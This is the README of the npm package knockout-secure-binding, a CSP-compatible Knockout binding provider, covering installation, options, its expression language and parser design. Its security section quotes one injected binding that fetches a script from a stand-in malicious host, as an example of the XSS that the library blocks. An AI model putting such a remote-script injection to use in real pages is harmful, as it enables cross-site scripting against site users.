knockout-secure-binding
v0.5.5
Published
Knockout Secure Binding =======================
Downloads
899
Readme
Knockout Secure Binding
Tested with multiple browsers with BrowserStack.
Knockout Secure Binding (KSB) is a binding provider for Knockout that can be used with a Content Security Policy that disables eval
and new Function
.
This project exists because Knockout's default binder uses new Function
to
parse bindings, as discussed in knockout/knockout#903, which violates the CSP eval prohibition.
I have written a blog post about KSB as well.
Getting started
Installing
You can get KSB from bower
with:
bower install knockout-secure-binding
Using npm
with:
npm install knockout-secure-binding
Save this to their respective settings with --save-dev
or --save
.
Using (script)
Then include it in your project with a script
tag and a property secureBindingsProvider
will be added to the ko
object. I.e.
<script src='knockout-secure-binding.js'></script>
KSB is a near drop-in replacement for the standard Knockout binding provider when provided the following options:
var options = {
attribute: "data-bind", // default "data-sbind"
globals: window, // default {}
bindings: ko.bindingHandlers, // default ko.bindingHandlers
noVirtualElements: false // default true
};
ko.bindingProvider.instance = new ko.secureBindingsProvider(options);
Having called the above, when you run ko.applyBindings
the knockout bindings will be parsed by KSB and the respective bindings' valueAccessors
will be KSB instead of Knockout's own binding engine (which at its core uses the new Function
, which is barred by CSP's eval
policy).
When the attribute
option is not provided the default binding for KSB is data-sbind
. You can see more options below. By default KSB the globals
object for KSB is an empty object. The options are described in more detail below.
Using (AMD Loader)
If you are using an AMD loader, then KSB is exported, and you should be able to load it like this:
require(["knockout", "knockout-secure-binding"], function (ko, ksb) {
// Show all options, more restricted setup than the Knockout regular binding.
var options = {
attribute: "data-sbind", // ignore legacy data-bind values
globals: {}, // no globals
bindings: ko.bindingHandlers, // still use default binding handlers
noVirtualElements: true // no virtual elements
};
ko.bindingProvider.instance = new ksb(options);
/* ... */
});
Have a look at the example in knockout-classBindingProvider) for more info.
The sbind
language
The language used in KSB in bindings is a superset of JSON but a subset of Javascript. I will call it the sbind language, for convenience.
Sbind language is closer to JSON than Javascript, so it's easier to describe its differences by comparing it to JSON. The sbind language differs from JSON in that:
- it understands the
undefined
keyword; - it looks up variables on
$data
or$context
orglobals
(in that order); - functions can be called (but do not accept arguments);
- top-level functions are called with
this
set to an object with the following keys:$data
,$context
,globals
,$element
, corresponding to the state for the respective element bound. † - a subset of Javascript expressions are available (see below);
- observables that are part of expressions are automatically unwrapped for convenience.
† Note that this is a deviation from the ordinary Knockout behaviour, where
this
would be window
(unless the function is otherwise bound).
KSB provider uses Knockout's built-in bindings, so text
, foreach
, and all the others should work as expected. It also works with virtual elements.
This means that the following ought to work as expected:
<span data-bind='text: 42'></span>
<span data-bind='text: obs'></span>
<span data-bind='text: obs()'></span>
<span data-bind='text: obs_a() || obs_b()'></span>
<!-- The following are unwrapped because they are part of an expression-->
<span data-bind='text: obs_a || obs_b'></span>
<span data-bind='text: 1 + 2 / (obs % 4)'></span>
<span data-bind='css: { class_name: obs_a <= 400 }'></span>
<a data-bind='click: fn, attr: { href: obs }'></a>
The sbind language understands both compound identifiers (e.g. obs()[1].member()
and expressions (e.g. a + b * c
)). A full list of operators supported is below. Check out the spec/knockout_secure_binding_spec.js
for a more thorough list of expressions that work as expected.
There are some restrictions on the sbind language. These include:
- it will not dereference static objects so the following will not work:
{ a: 1 }[obs()]
. - functions do not accept arguments.
Security implications
As mentioned, one cannot use the default Knockout binding provider when a
Content Security Policy prohibits unsafe evaluations (eval
,
new Function
, setTimeout(string)
, setInterval(string)
).
Prohibiting unsafe evaluations with a Content Security Policy substantially substantially reduces the risk of a cross-site scripting attack. See for example Preventing XSS with Content Security Policy.
By using KSB in place of the regular binding provider one can continue to use Knockout in an environment with a Content Security Policy. This includes for example Chrome web apps.
Independent of a Content Security Policy, KSB can help prevent the execution of arbitrary code in a Knockout binding. A malicious script such as
text: $.getScript('http://a.bad.place.example.com/a.bad.bad.thing')
could be executed in Knockout on a DOM element that is having bindings applied. However with CSP and KSB you can prevent this script from executing by/because:
- Not including
$
as a global; - Functions in KSB do not accept arguments;
- You can use a CSP white-list, which prevents accessing the (presumably unknown) host
a.bad.place
.
Options
The ko.secureBindingsProvider
constructor accepts one argument,
an object that may contain the following options:
| Option | Default | Description |
| ---: | :---: | :--- |
| attribute | data-sbind
| The binding value on attributes |
| globals | {}
| Where variables are looked up if not on $context
or $data
|
| bindings | ko.bindingHandlers
| The bindings KO will use with KSB |
| noVirtualElements | false
| Set to true
to disable virtual element binding |
For example, ko.secureBindingsProvider({ globals: { "$": jQuery }})
.
Expressions
KSB supports some Javascript operations, namely:
| Type | Operators |
| ---: | :-------- |
| Negation | !
!!
|
| Multiplication | *
/
%
|
| Addition | +
-
|
| Comparison | <
<=
>
>=
|
| Equality | ==
!=
===
!==
|
| Logic | &&
|| |
| Bitwise | &
^
| |
Notes:
Observables in expressions are unwrapped as a convenience so
text: a > b
will unwrap botha
andb
if they are observables. It will not unwrap for membership i.e.a.property
will return theproperty
of the observable (a.property
), not the property of the observable's unwrapped value (ko.unwrap(a).property
). If the variable referred to is not part of an expression (e.g.text: a
) then the variable will not be unwrapped before being passed to a binding. This is the expected behaviour.While negation and double-negation are supported, trible negation (
!!!
) will not work as expected.When you use equality operators in sbind (
==
and!=
), the operation performed will be their non-evil twins (===
and!==
). The following are exactly the same:data-sbind: x == y
anddata-sbind: x === y
. As Douglas Crockford puts it, in Javascript: The Good Parts: “My advice is to never use the evil twins.”
Tests
You can run a standalone server with npm test
. It will
print the URL for the server to the console. You can connect
to it with any browser and the tests will be executed.
Automated tests with chromedriver
can be initiated with
npm start
.
You will need to independently start chromedriver
with
chromedriver --url-base=/wd/hub --port=4445
.
- Compile with
gulp
. - Run a test server with
./node_modules/karma/bin/karma start
. - Run tests with
npm test
Make sure you have installed gulp
with npm install -g gulp
.
Requires
Knockout 2.0+
KSB may use ES5 functions, including (but perhaps not limited to):
Object.defineProperty
Object.keys
String.trim
Performance
KSB seems to be comparable in performance to Knockout's regular bindings. Here is a jsPerf example, which seems to indicate KSB is around 7–10% slower, with a margin of error of ±10%.
I would expect the KSB parser to be slower than the native Javascript parser, even though it does less. The expressions and identifiers looked up in KSB have a proportionately higher number of function calls per expression and dereference.
So one would expect KSB to be slower than the native bindings. That said, the portion of Knockout that KSB sits in is not a big bottleneck for performance. Individual bindings and especially their respective DOM operations seem to be a much greater concern.
How it works
KSB runs a one-pass parser on the bindings’ text and generates an array of identifier dereferences and a lazily generated syntax tree of expressions.
The identifier dereferences for something like <span data-bind='x: a.b["c"]()'></span>
will look like (or convert into) this:
[
function (x) { return x['b'] },
function (x) { return x['c'] },
function (x) { return x() },
]
When (if) the x
binding calls its valueAccessor
argument the identifier will be returned as the root value (a
, presumably an object) then each of the dereference functions.
The expression tree is straightforward and for something like 1 + 4 - 8
it looks like this:
1 4
\ /
(+) 8
\ /
(-)
All to say, there is no real magic (or dragons) here.
LICENSE
The MIT License (MIT)
Copyright (c) 2013–2014 Brian M Hunt
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.